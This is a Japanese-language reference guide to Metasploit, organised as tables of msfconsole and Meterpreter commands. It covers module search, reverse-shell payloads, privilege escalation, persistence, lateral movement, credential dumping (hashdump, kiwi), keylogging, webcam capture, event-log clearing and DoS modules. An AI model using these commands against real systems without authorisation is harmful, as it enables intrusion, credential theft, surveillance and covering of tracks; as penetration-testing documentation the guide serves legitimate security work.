目的別 Metasploit コマンド & モジュール活用ガイド
1. msfconsole の起動と基本操作
Metasploit Framework の主要なインターフェースである msfconsole
の起動方法と基本的なコマンドです。
コマンド | 説明 | 備考 |
---|---|---|
msfconsole | Metasploit コンソールを起動します。 | 最も基本的な起動コマンド。 |
msfconsole -q | バナーを表示せずに静かに起動します。 | スクリプト実行時などに便利。 |
msfconsole -r <resource_file.rc> | 指定したリソースファイル(一連のコマンドが書かれたファイル)を実行して起動します。 | 自動化に役立ちます。 |
help または ? | 利用可能なコマンドの一覧を表示します。 | |
help <command> | 特定のコマンドの詳細なヘルプを表示します。 | 例: help search |
version | Metasploit Framework のバージョン情報を表示します。 | |
banner | msfconsole のバナーを再表示します。 | |
exit または quit | msfconsole を終了します。 | |
spool <filename> | コンソールの出力を指定したファイルに記録開始します。 | 証跡取得に。spool off で停止。 |
history | コマンド履歴を表示します。 | |
! | OSのシェルコマンドを実行します。 | 例: !ls -la |
2. モジュールの検索と選択
目的の Exploit、Auxiliary、Payload などを検索し、利用するモジュールを選択します。
コマンド | 説明 | 検索例 |
---|---|---|
search <keyword> | キーワードに一致するモジュールを検索します。 | search smb , search eternalblue |
search type:<type> <keyword> | 特定のタイプのモジュールを検索します。 | search type:exploit windows smb |
search platform:<platform> <keyword> | 特定のプラットフォーム向けのモジュールを検索します。 | search platform:linux ssh |
search author:<author_name> | 特定の作者が作成したモジュールを検索します。 | search author:hdmoore |
search cve:<year>-<number> | 特定のCVE番号に関連するモジュールを検索します。 | search cve:2017-0144 |
search name:<name> | モジュール名に含まれるキーワードで検索します。 | search name:ms17_010 |
search rank:<rank_name> | 特定のランク(信頼性)のモジュールを検索します (excellent, great, good, normal, average, low, manual)。 | search rank:excellent smb |
use <module_name> | 指定したモジュールを選択し、コンテキストをそのモジュールに切り替えます。 | use exploit/windows/smb/ms17_010_eternalblue |
info または show info | 現在選択中のモジュールの詳細情報を表示します (説明、オプション、ターゲット、参考文献など)。 | モジュール選択後に実行。 |
show options | 現在選択中のモジュールの設定可能なオプションを表示します。 | 必須項目 (Required=yes) を確認。 |
show targets | Exploit モジュールが対応するターゲットシステムの一覧を表示します。 | 特定のOSバージョンなどを指定。 |
show payloads | 現在の Exploit モジュールと互換性のある Payload の一覧を表示します。 | |
show advanced | 高度なオプションを表示します。 | |
show evasion | 回避(Evasion)オプションを表示します (対応モジュールのみ)。 | |
back | 現在のモジュールコンテキストから抜け、トップレベルに戻ります。 |
3. モジュールオプションの設定
選択したモジュールを実行するために必要なパラメータ(オプション)を設定します。
コマンド | 説明 | 例 |
---|---|---|
set <OptionName> <Value> | 指定したオプションに値を設定します。 | set RHOSTS 192.168.1.10 |
setg <OptionName> <Value> | グローバル変数としてオプションを設定します。異なるモジュール間でも値が保持されます。 | setg RHOSTS 192.168.1.0/24 |
unset <OptionName> | 指定したオプションの設定を解除します。 | unset RHOSTS |
unsetg <OptionName> | 指定したグローバル変数の設定を解除します。 | unsetg RHOSTS |
save | 現在の設定(グローバル変数など)を保存します。次回起動時に読み込まれます。 | 設定は `~/.msf4/config` に保存されます。 |
主要なオプション
オプション名 | 説明 | 対象モジュール |
---|---|---|
RHOSTS | ターゲット(リモートホスト)のIPアドレスまたはホスト名。単一、範囲指定 (1.1.1.1-1.1.1.254)、CIDR指定 (1.1.1.0/24)、ファイル指定 (file:/path/to/hosts.txt) が可能。 | Exploit, Auxiliary, Post など多数 |
RPORT | ターゲットのポート番号。 | Exploit, Auxiliary など多数 |
LHOST | 攻撃者側(Metasploitが動作しているマシン)のIPアドレス。リバースシェルなどで接続を受け付けるIP。 | Payload (Reverse Shell), Exploit (一部) |
LPORT | 攻撃者側(Metasploitが動作しているマシン)のポート番号。リバースシェルなどで接続を受け付けるポート。 | Payload (Reverse Shell), Exploit (一部) |
PAYLOAD | Exploit成功後にターゲット上で実行するペイロードモジュールを指定します。 | Exploit |
TARGET | Exploitモジュールが対象とするターゲットシステムのタイプ(OSやアプリケーションのバージョンなど)。show targets で確認。 | Exploit |
SESSION | 既に確立されているセッションを指定して実行する場合に使用します。 | Post, Auxiliary (一部) |
THREADS | スキャンなどを実行する際のスレッド数。 | Auxiliary (Scanner系), Exploit (一部) |
USERNAME , PASSWORD | 認証が必要なサービスに対するユーザー名とパスワード。 | Auxiliary (login, bruteforce系), Exploit (一部) |
USER_FILE , PASS_FILE | ユーザー名リスト、パスワードリストのファイルパス。ブルートフォース攻撃で使用。 | Auxiliary (login, bruteforce系) |
Proxies | プロキシサーバーを指定します (例: socks4:127.0.0.1:9050 )。 | 多くのモジュール |
VERBOSE | 詳細な実行ログを出力します (true/false)。 | 多くのモジュール |
4. Exploit と Payload の実行
設定したモジュール(Exploit)を実行し、成功すれば Payload を送り込みます。
コマンド | 説明 |
---|---|
exploit または run | 現在選択、設定されている Exploit または Auxiliary モジュールを実行します。 |
exploit -j | モジュールをバックグラウンドジョブとして実行します。 |
exploit -z | 実行後、セッションが確立してもすぐには操作せず、バックグラウンドで待機させます。 |
check | ターゲットが選択中の Exploit に対して脆弱かどうかを確認します(Exploit を実行せずにチェック)。対応しているモジュールのみ有効。 |
代表的な Payload の種類
タイプ | 説明 | 例 |
---|---|---|
Singles | 単一の自己完結型ペイロード。ステージャーを必要としない。サイズが大きい傾向がある。 | windows/shell_bind_tcp , linux/x64/exec |
Stagers | 小さなペイロードで、ターゲット上で実行されると攻撃者のマシンに接続し、より大きな Stage ペイロードをダウンロードして実行する。ファイアウォールを通過しやすい。 | windows/meterpreter/reverse_tcp の reverse_tcp 部分 |
Stages | Stager によってダウンロードされる、より機能豊富なペイロード。Meterpreter など。 | windows/meterpreter/reverse_tcp の meterpreter 部分 |
Inline (Non-Staged) | Singles と同じ。一つの塊で完結しているペイロード。 | windows/x64/meterpreter_bind_tcp |
Meterpreter | 高度な機能を持つペイロード。メモリ内で動作し、ファイルシステムへの書き込みを最小限に抑える。拡張性が高い。 | windows/meterpreter/reverse_tcp , php/meterpreter/reverse_tcp , java/meterpreter/reverse_tcp |
PassiveX | ActiveX を利用して通信するペイロード。特定の環境で有効。 | windows/meterpreter/reverse_passivex_http |
NoNX | NXビット(実行不可メモリ保護)をバイパスするためのペイロード。 | 特定の Exploit で利用されることがある |
Ord | Windows で序数(Ordinal)ベースで API を解決するペイロード。 | windows/shell/bind_ord_tcp |
IPv6 | IPv6 環境用のペイロード。 | windows/meterpreter/reverse_ipv6_tcp |
Reflective DLL Injection | DLL をディスクに書き込まずにメモリにロードして実行する技術を用いたペイロード。 | Meterpreter の内部動作などで利用 |
Command Shell | ターゲットシステムの標準的なコマンドシェルへのアクセスを提供するペイロード。 | windows/shell/reverse_tcp , linux/x86/shell_bind_tcp |
ペイロードの選択は、ターゲット環境、ネットワーク状況、目的(シェルアクセス、高度な操作など)に応じて行います。
5. セッション管理
Exploit 成功後に確立されたセッション(Meterpreter や Shell)を管理します。
コマンド (msfconsole) | 説明 |
---|---|
sessions または sessions -l | 現在アクティブなセッションの一覧を表示します。 |
sessions -i <session_id> | 指定した ID のセッションと対話を開始します。 |
sessions -k <session_id> | 指定した ID のセッションを終了します。 |
sessions -K | すべてのアクティブなセッションを終了します。 |
sessions -u <session_id> | 指定したセッションを Meterpreter セッションにアップグレードしようと試みます (シェルセッションの場合)。 |
sessions -c <command> -i <session_id> | 指定したセッションで OS コマンドを実行します。 |
sessions -s <script> -i <session_id> | 指定したセッションで Meterpreter スクリプトを実行します。 |
Ctrl + Z | 現在のセッションとの対話を中断し、バックグラウンドに移します (msfconsole に戻る)。 |
bg | (Meterpreter プロンプト内で) 現在の Meterpreter セッションをバックグラウンドに移します。 |
6. Meterpreter 基本コマンド
Meterpreter セッション内で使用できる基本的なコマンドです。
これらのコマンドは
meterpreter >
プロンプト内で実行します。 コマンド | 説明 |
---|---|
help または ? | Meterpreter で利用可能なコマンド一覧を表示します。 |
background または bg | 現在の Meterpreter セッションをバックグラウンドに移動し、msfconsole に戻ります。 |
exit または quit | 現在の Meterpreter セッションを終了します。 |
sysinfo | ターゲットシステムの情報(OS、アーキテクチャなど)を表示します。 |
pwd (または getwd ) | 現在のターゲット上のディレクトリを表示します。 |
cd <directory> | ターゲット上のディレクトリを変更します。 |
ls | 現在のディレクトリ内のファイルやフォルダを一覧表示します。 |
upload <local_path> <remote_path> | 攻撃者のマシンからターゲットへファイルをアップロードします。 |
download <remote_path> <local_path> | ターゲットから攻撃者のマシンへファイルをダウンロードします。 |
cat <file> | ターゲット上のテキストファイルの内容を表示します。 |
edit <file> | ターゲット上のファイルを編集します(ローカルの `vi` などを使用)。 |
mkdir <directory> | ターゲット上にディレクトリを作成します。 |
rmdir <directory> | ターゲット上の空のディレクトリを削除します。 |
rm <file> | ターゲット上のファイルを削除します。 |
search -f <pattern> [-d <directory>] [-r] | ターゲット上のファイルを検索します。`-d` で検索開始ディレクトリ指定、`-r` で再帰的に検索。 |
execute -f <executable> [-a <arguments>] [-H] [-i] | ターゲット上で実行可能ファイルを実行します。`-H` で非表示、`-i` で対話的に実行。 |
shell | ターゲットシステムの標準的なコマンドシェルを起動します。 |
ps | ターゲット上で実行中のプロセス一覧を表示します。 |
kill <pid> | 指定したプロセスIDのプロセスを終了させます。 |
migrate <pid> | Meterpreter セッションを別のプロセスに移行します。永続化や権限昇格の準備に。 |
getpid | Meterpreter が現在動作しているプロセスの ID を表示します。 |
getuid | 現在のユーザーIDを表示します。 |
ipconfig / ifconfig | ターゲットのネットワークインターフェース情報を表示します。 |
route | ターゲットのルーティングテーブルを表示します。 |
portfwd add -l <local_port> -p <remote_port> -r <remote_ip> | ポートフォワーディングを設定します。攻撃者マシンからターゲット内部の別ホストへアクセスする際に使用。 |
portfwd list / portfwd delete -R <rule_id> | ポートフォワーディングのルールを表示/削除します。 |
screenshot | ターゲットのデスクトップスクリーンショットを取得します。 |
webcam_list / webcam_snap / webcam_stream | Web カメラを操作します(リスト表示、静止画取得、動画ストリーミング)。 |
keyscan_start / keyscan_dump / keyscan_stop | キーストロークを記録します。 |
getsystem | SYSTEM 権限への昇格を試みます(Windows)。複数のテクニックを使用。 |
hashdump | Windows の SAM データベースからパスワードハッシュをダンプします(SYSTEM 権限が必要)。 |
run <script_name> [options] | Meterpreter スクリプト(旧形式)または Post モジュールを実行します。 |
load <extension> | Meterpreter 拡張機能(`stdapi`, `priv`, `kiwi` など)をロードします。 |
use <extension> | ロード済みの拡張機能のコンテキストに切り替えます (例: `use kiwi`)。 |
irb | Ruby の対話的実行環境 (IRB) を起動し、Meterpreter API を直接操作できます。 |
clearev | ターゲットのイベントログ(システム、セキュリティ、アプリケーション)をクリアします(痕跡削除)。 |
7. 権限昇格 (Privilege Escalation)
取得したセッションの権限を昇格させるための手法です。
Meterpreter コマンド
コマンド | 説明 | プラットフォーム |
---|---|---|
getsystem | 複数の手法を試行し、Windows で SYSTEM 権限を取得しようとします。 | Windows |
Post モジュール (権限昇格)
モジュールタイプ | 主な目的 | 検索例 |
---|---|---|
post/windows/escalate/* | Windows 環境での権限昇格 Exploit や手法を実行します。 | search type:post platform:windows escalate |
post/linux/escalate/* | Linux 環境での権限昇格 Exploit や手法を実行します。 | search type:post platform:linux escalate |
post/multi/recon/local_exploit_suggester | ターゲットシステムをスキャンし、適用可能なローカル権限昇格 Exploit (Metasploit モジュール) を提案します。 | use post/multi/recon/local_exploit_suggester |
一般的な手順
- 現在の権限を確認 (
getuid
)。 local_exploit_suggester
を実行して、利用可能な権限昇格モジュールがないか確認。- 提案された Exploit モジュール (例: `exploit/windows/local/…`) を利用する。
- (Windows の場合) Meterpreter セッション内で
getsystem
を試す。 - 権限昇格に成功したら、再度
getuid
で確認。SYSTEM や root になっていれば成功。
8. Post-Exploitation (侵入後の活動)
セッション確立後に行う情報収集、横展開、永続化などの活動です。
Post モジュールは、
msfconsole
から use <post_module>
で選択し、set SESSION <session_id>
で対象セッションを指定して run
で実行します。Meterpreter セッション内から run <post_module>
でも実行可能です。 情報収集 (Reconnaissance)
モジュール/コマンド | 説明 | プラットフォーム |
---|---|---|
run post/windows/gather/checkvm | ターゲットが仮想マシン環境かどうかをチェックします。 | Windows |
run post/windows/gather/enum_applications | インストールされているアプリケーションの一覧を取得します。 | Windows |
run post/windows/gather/enum_patches | 適用されているパッチ(KB)の一覧を取得します。 | Windows |
run post/multi/gather/env | 環境変数を表示します。 | Multi |
run post/windows/gather/enum_shares | 共有フォルダの一覧を取得します。 | Windows |
run post/windows/gather/credentials/windows_autologin | 自動ログオン設定の資格情報を取得します。 | Windows |
run post/multi/gather/ssh_creds | SSH の秘密鍵や設定ファイルなどから資格情報を探します。 | Multi (Linux, macOS) |
run post/windows/gather/enum_logged_on_users | 現在ログオンしている、または最近ログオンしたユーザーの一覧を取得します。 | Windows |
(Meterpreter) ps , ipconfig , route | 基本的なシステム情報、ネットワーク情報を収集します。 | Multi |
(Meterpreter) hashdump | SAM からパスワードハッシュを取得 (SYSTEM 権限)。 | Windows |
(Meterpreter) load kiwi -> creds_all | Kiwi (Mimikatz) をロードし、メモリから平文パスワードやハッシュなどを取得。 | Windows |
永続化 (Persistence)
モジュール/コマンド | 説明 | プラットフォーム |
---|---|---|
run persistence -U -i <interval> -p <port> -r <lhost> | (Meterpreter スクリプト) ユーザーレベルで永続化を設定 (レジストリ Run キー)。指定間隔でリバース接続を試みる。 | Windows |
run persistence -X -i <interval> -p <port> -r <lhost> | (Meterpreter スクリプト) システムレベルで永続化を設定 (サービスとして登録)。起動時にリバース接続を試みる。要 SYSTEM 権限。 | Windows |
run exploit/windows/local/persistence_service | (Post モジュール) サービスとしてペイロードを登録し永続化します。より詳細な設定が可能。 | Windows |
run post/linux/manage/ssh_authorization | 指定した SSH 公開鍵をターゲットの authorized_keys に追加します。 | Linux |
横展開 (Lateral Movement)
モジュール/手法 | 説明 | プラットフォーム |
---|---|---|
auxiliary/scanner/smb/smb_login | 取得した認証情報を使って、他の Windows マシンへの SMB ログインを試みます。 | Windows |
exploit/windows/smb/psexec | 取得した認証情報(ハッシュまたはパスワード)を使って、他の Windows マシンで任意のコマンドやペイロードを実行します。 | Windows |
exploit/windows/smb/psexec_psh | PowerShell を利用する Psexec。 | Windows |
auxiliary/server/socks_proxy | Metasploit を SOCKS プロキシサーバーとして動作させ、侵入したマシンを踏み台にして内部ネットワークの他のホストへアクセスします (ProxyChains などと連携)。 | Multi |
(Meterpreter) portfwd | 特定のポートをフォワーディングし、内部サービスへアクセスします。 | Multi |
(Meterpreter) run autoroute -s <subnet> | 侵入したマシン経由でアクセス可能な内部ネットワークへのルーティング情報を msfconsole に追加します。これにより、他の Exploit/Auxiliary モジュールが内部ネットワークのホストを直接ターゲットに指定できるようになります。 | Multi |
auxiliary/scanner/ssh/ssh_login | 取得した認証情報を使って、他の Linux/Unix マシンへの SSH ログインを試みます。 | Linux/Unix |
9. Auxiliary モジュール活用
Exploit 以外の補助的な機能を提供するモジュール群です。情報収集、スキャン、サービス特定、DoS 攻撃などに利用されます。
モジュールカテゴリ | 主な目的 | 代表的なモジュール例 |
---|---|---|
auxiliary/scanner/portscan/* | ポートスキャンを実行します。TCP SYN スキャン、TCP Connect スキャンなど。 | tcp , syn , ack , ftpbounce |
auxiliary/scanner/discovery/* | ネットワーク上のホストやサービスを発見します。ARP スキャン、UDP プローブなど。 | arp_sweep , udp_sweep , udp_probe |
auxiliary/scanner/<service>/* | 特定のサービス (SMB, SSH, FTP, HTTP, SNMP など) の情報を収集したり、脆弱性をスキャンしたりします。 | smb/smb_version , ssh/ssh_version , snmp/snmp_enum , http/title |
auxiliary/scanner/smb/smb_login | SMB サービスの認証情報(ユーザー名/パスワード)をテスト(ブルートフォース)します。 | smb_login |
auxiliary/scanner/ssh/ssh_login | SSH サービスの認証情報(ユーザー名/パスワード/鍵)をテスト(ブルートフォース)します。 | ssh_login |
auxiliary/scanner/ftp/ftp_login | FTP サービスの認証情報をテストします。 | ftp_login |
auxiliary/scanner/http/dir_scanner | Web サーバー上のディレクトリやファイルを探索します。 | dir_scanner , files_dir |
auxiliary/scanner/http/options | Web サーバーの HTTP OPTIONS メソッドを調査します。 | options |
auxiliary/server/* | 特定のサービス(FTP, HTTP, TFTP など)を模倣するサーバーを起動します。フィッシングやペイロード配信に利用。 | capture/ftp , browser_autopwn , socks_proxy |
auxiliary/dos/* | サービス妨害(DoS)攻撃を試みます。注意して使用する必要があります。 | tcp/synflood , smb/smb_loop |
auxiliary/gather/* | 公開情報や特定のソースから情報を収集します。DNS 情報、メールアドレス、Whois 情報など。 | dns_enum , search_email_collector |
auxiliary/admin/<service>/* | 特定のサービスの管理機能を操作します。 | mssql/mssql_exec |
auxiliary/fuzzers/* | プロトコルやアプリケーションに予期しないデータを送信し、脆弱性を発見しようとします(ファジング)。 | smb/smb_loris |
auxiliary/sniffers/* | ネットワークトラフィックを傍受します。 | psnuffle (パスワードスニッフィング) |
10. データベース連携
スキャン結果やホスト情報、認証情報などをデータベースに保存し、効率的に管理します。
Metasploit は PostgreSQL データベースとの連携をサポートしています。事前にデータベースの設定が必要です (`msfdb init`)。
コマンド | 説明 |
---|---|
db_status | データベースへの接続状態を確認します。 |
db_connect | データベースに接続します(設定ファイルがある場合)。 |
db_disconnect | データベースから切断します。 |
db_rebuild_cache | モジュールキャッシュを再構築します(検索高速化のため)。 |
workspace | 現在のワークスペースを表示します。 |
workspace -a <name> | 新しいワークスペースを作成し、切り替えます。 |
workspace -d <name> | 指定したワークスペースを削除します。 |
workspace <name> | 指定したワークスペースに切り替えます。 |
db_import <filename> | Nmap, Nessus などのスキャン結果ファイルをインポートします。 |
db_export -f <format> <filename> | データベースの内容を指定したフォーマット (xml, pwdump, csv) でエクスポートします。 |
hosts | データベースに登録されているホストの一覧を表示します。 |
hosts -c <column1,column2,...> | 表示する列を指定します。 |
hosts -S <search_term> | ホスト情報を検索します。 |
services | データベースに登録されているサービス(ポート、プロトコル)の一覧を表示します。 |
services -p <port1,port2,...> | 特定のポートでフィルタリングします。 |
services -s <service1,service2,...> | 特定のサービス名でフィルタリングします。 |
vulns | データベースに登録されている脆弱性の一覧を表示します。 |
creds | データベースに登録されている認証情報(ユーザー名/パスワード/ハッシュ)の一覧を表示します。 |
loot | データベースに登録されている取得物(ファイル、データなど)の一覧を表示します。 |
db_nmap <nmap_options> | Nmap を実行し、結果を直接データベースにインポートします。 |
notes | ホストやサービスに関連付けられたメモを表示、追加、削除します。 |
11. その他便利な機能
Metasploit Framework のその他の便利なコマンドや機能です。
コマンド/機能 | 説明 |
---|---|
jobs | バックグラウンドで実行中のジョブ(Exploit や Auxiliary)の一覧を表示します。 |
jobs -k <job_id> | 指定した ID のジョブを停止します。 |
kill <job_id> | (jobs -k と同等) ジョブを停止します。 |
makerc <filename.rc> | 現在の msfconsole の設定(set/setg された変数)をリソースファイルに保存します。 |
resource <filename.rc> | 指定したリソースファイルを実行します。 |
loadpath </path/to/custom/modules> | カスタムモジュールが格納されているディレクトリをロードパスに追加します。 |
reload_all | すべてのモジュールをリロードします。カスタムモジュールを追加した後などに使用。 |
connect <ip_address> <port> | 指定した IP アドレスとポートに TCP 接続を試みます(Netcat のような機能)。-u で UDP。 |
setg Proxies <type>:<host>:<port> | SOCKS4/SOCKS5/HTTP プロキシを設定します。例: setg Proxies socks5:127.0.0.1:9050 |
grep <pattern> <command> | 指定したコマンドの出力からパターンに一致する行をフィルタリングします。例: grep ssh show auxiliary |
edit | (モジュールコンテキスト内で) 現在選択中のモジュールのソースコードをエディタで開きます ($EDITOR 環境変数を使用)。 |